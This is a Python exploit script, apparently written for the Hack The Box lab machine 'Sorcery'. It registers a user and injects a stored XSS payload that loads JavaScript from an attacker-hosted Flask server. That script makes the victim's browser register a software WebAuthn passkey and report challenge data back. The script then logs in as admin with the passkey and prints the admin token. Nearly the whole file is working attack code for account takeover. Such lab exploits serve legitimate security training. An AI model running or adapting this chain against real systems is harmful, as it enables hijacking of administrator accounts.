import requests
import base64
from flask import Flask, request, jsonify
import threading
import json
import argparse
import psutil
import time
import logging
from soft_webauthn import SoftWebauthnDevice
import json
import os

# log = logging.getLogger('werkzeug')
# log.setLevel(logging.ERROR)

parser = argparse.ArgumentParser(description='Exploit script for Sorcery HTB')
parser.add_argument('--ip', type=str, default=None, help='ip address of the attacking machine')
args = parser.parse_args()

if args.ip is None:
    print('ip address not provided, retrieving ip address of tun0 interface')
    for iface in psutil.net_if_addrs():
        if iface == 'tun0':
            for addr in psutil.net_if_addrs()[iface]:
                if addr.family == psutil.socket.AF_INET:
                    args.ip = addr.address
                    break
    if args.ip is None:
        print('Could not find tun0 interface, please provide the ip address using --ip argument')
        os._exit(1)

base_url = 'https://sorcery.htb'
#base_url = 'http://localhost:3000'
username = 'test45'
password = 'test45'
registration_key = 'dd05d743-b560-45dc-9a09-43ab18c7a513'
#registration_key = 'da51ea97-13e4-4b71-97bd-92613e6f6b99'   # localhost
s = requests.Session()
s.verify = False
base_headers = {
    'Content-Type': 'text/plain;charset=UTF-8'
}
challenge_data = None
attestation_str = None
passkey_registered = False

def parse_response(response):
    return json.loads(response.split('1:')[1].rstrip())

print('----- Registering user -----')
data = f'["{username}", "{password}", "{registration_key}"]'
headers = {
    'Next-Action': 'cc5a75671722b7fa3634cb7cc01d2022f9d19e5b',
    **base_headers
}
res = s.post(f'{base_url}/auth/register', data=data, headers=headers)
res = parse_response(res.text)
if 'result' in res:
    print(f'Registration successful: {res["result"]}')
elif 'error' in res:
    if res['error']['error'] == 'Username already exists':
        print('Username already exists, proceeding with login.')
    else:
        print(f'Registration failed: {res["error"]}')
else:
    print('Unexpected response during registration:', res)


print('----- Logging in -----')
data = f'["{username}", "{password}"]'
headers = {
    'Next-Action': '7abc1d84ff816e8d6965b2132e8011685a8c9917',
    **base_headers
}
res = s.post(f'{base_url}/auth/login', data=data, headers=headers)
res = parse_response(res.text)
if 'result' in res:
    print(f'Login successful')
else:
    print(f'Login failed: {res["error"]}')
    os._exit(1)

token = res['result']['token']
print('Got token:', token)
s.cookies['token'] = token

print('----- Triggering XSS to start registration -----')
# setup web server
app = Flask(__name__)

@app.route('/start_registration.js', methods=['GET'])
def start_registration():
    with open('start_registration.js', 'r') as f:
        js = f.read()
    js = js.replace('MYIP', args.ip)
    return js

@app.route('/finish_registration.js', methods=['GET'])
def finish_registration():
    with open('finish_registration.js', 'r') as f:
        js = f.read()
    js = js.replace('MYIP', args.ip)
    js = js.replace('CREDS', attestation_str)
    return js

@app.route('/passkey_registration_successful', methods=['POST'])
def passkey_registration_successful():
    if request.method == 'POST':
        global passkey_registered
        passkey_registered = True
    return ''

@app.route('/get_challenge', methods=['POST'])
def get_challenge():
    global challenge_data
    if request.method == 'POST':
        res = request.data.decode()
        res = parse_response(res)
        challenge_data = res['result']['challenge']
    return ''

@app.route('/error', methods=['POST'])
def error():
    if request.method == 'POST':
        print(request.data)
    return ''


print('Starting server...')
server_thread = threading.Thread(target=app.run, kwargs={'host':'0.0.0.0', 'port':5555})
server_thread.start()
time.sleep(1)
print('Server started')

data = r'["a", "<script src=\"http://' + args.ip + r':5555/start_registration.js\"></script>"]'
headers = {
    'Next-Action': 'e43c0e68ecc317131dbfa2479dcbffc95b724cc4',
    **base_headers
}

res = s.post(f'{base_url}/dashboard/new-product', data=data, headers=headers)
res = parse_response(res.text)

while challenge_data is None:
    print('Waiting for challenge data...')
    time.sleep(1)
print('Challenge data received:', json.dumps(challenge_data))

print('----- Obtaining credentials -----')
device =  SoftWebauthnDevice()
attestation = device.create(challenge_data, 'https://sorcery.htb')
attestation['id'] = attestation['id'].decode('ascii').rstrip('=')
attestation['rawId'] = base64.urlsafe_b64encode(attestation['rawId']).decode('ascii').rstrip('=')
attestation['response']['clientDataJSON'] = base64.urlsafe_b64encode(attestation['response']['clientDataJSON']).decode('ascii').rstrip('=')
attestation['response']['attestationObject'] = base64.urlsafe_b64encode(attestation['response']['attestationObject']).decode('ascii').rstrip('=')
attestation_str = json.dumps(attestation)
print('Attestation:', attestation_str)

print('----- Triggering xss to finish registration -----')
data = r'["a", "<script src=\"http://' + args.ip + r':5555/finish_registration.js\"></script>"]'
headers = {
    'Next-Action': 'e43c0e68ecc317131dbfa2479dcbffc95b724cc4',
    **base_headers
}
res = s.post(f'{base_url}/dashboard/new-product', data=data, headers=headers)
res = parse_response(res.text)

while not passkey_registered:
    print('Waiting for passkey registration to complete...')
    time.sleep(1)
print('Passkey registration completed successfully!')

print('----- Authenticating with passkey -----')
data = '["admin"]'
headers = {
    'Next-Action': '1efff30d879f3aea7d899128311edf11046f4a10',
    **base_headers
}
res = requests.post(f'{base_url}/auth/passkey', data=data, headers=headers, verify=False)
res = parse_response(res.text)
challenge_auth = res['result']['challenge']
print('Challenge for authentication:', challenge_auth)

assertion = device.get(challenge_auth, 'https://sorcery.htb')
assertion['id'] = assertion['id'].decode('ascii').rstrip('=')
assertion['rawId'] = base64.urlsafe_b64encode(assertion['rawId']).decode('ascii').rstrip('=')
assertion['response']['clientDataJSON'] = base64.urlsafe_b64encode(assertion['response']['clientDataJSON']).decode('ascii').rstrip('=')
assertion['response']['signature'] = base64.urlsafe_b64encode(assertion['response']['signature']).decode('ascii').rstrip('=')
assertion['response']['authenticatorData'] = base64.urlsafe_b64encode(assertion['response']['authenticatorData']).decode('ascii').rstrip('=')
assertion_str = json.dumps(assertion)
print('Assertion:', assertion_str)

print('----- Sending assertion for authentication -----')
data = f'["admin", {assertion_str}]'
headers = {
    'Next-Action': '5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f',
    **base_headers
}
res = requests.post(f'{base_url}/auth/passkey', data=data, headers=headers, verify=False)
res = parse_response(res.text)
if 'result' in res:
    print('Authentication successful')
    print(f'Here is the admin token: {res["result"]["token"]}')
else:
    print(f'Authentication failed: {res["error"]}')
    os._exit(1)
os._exit(0)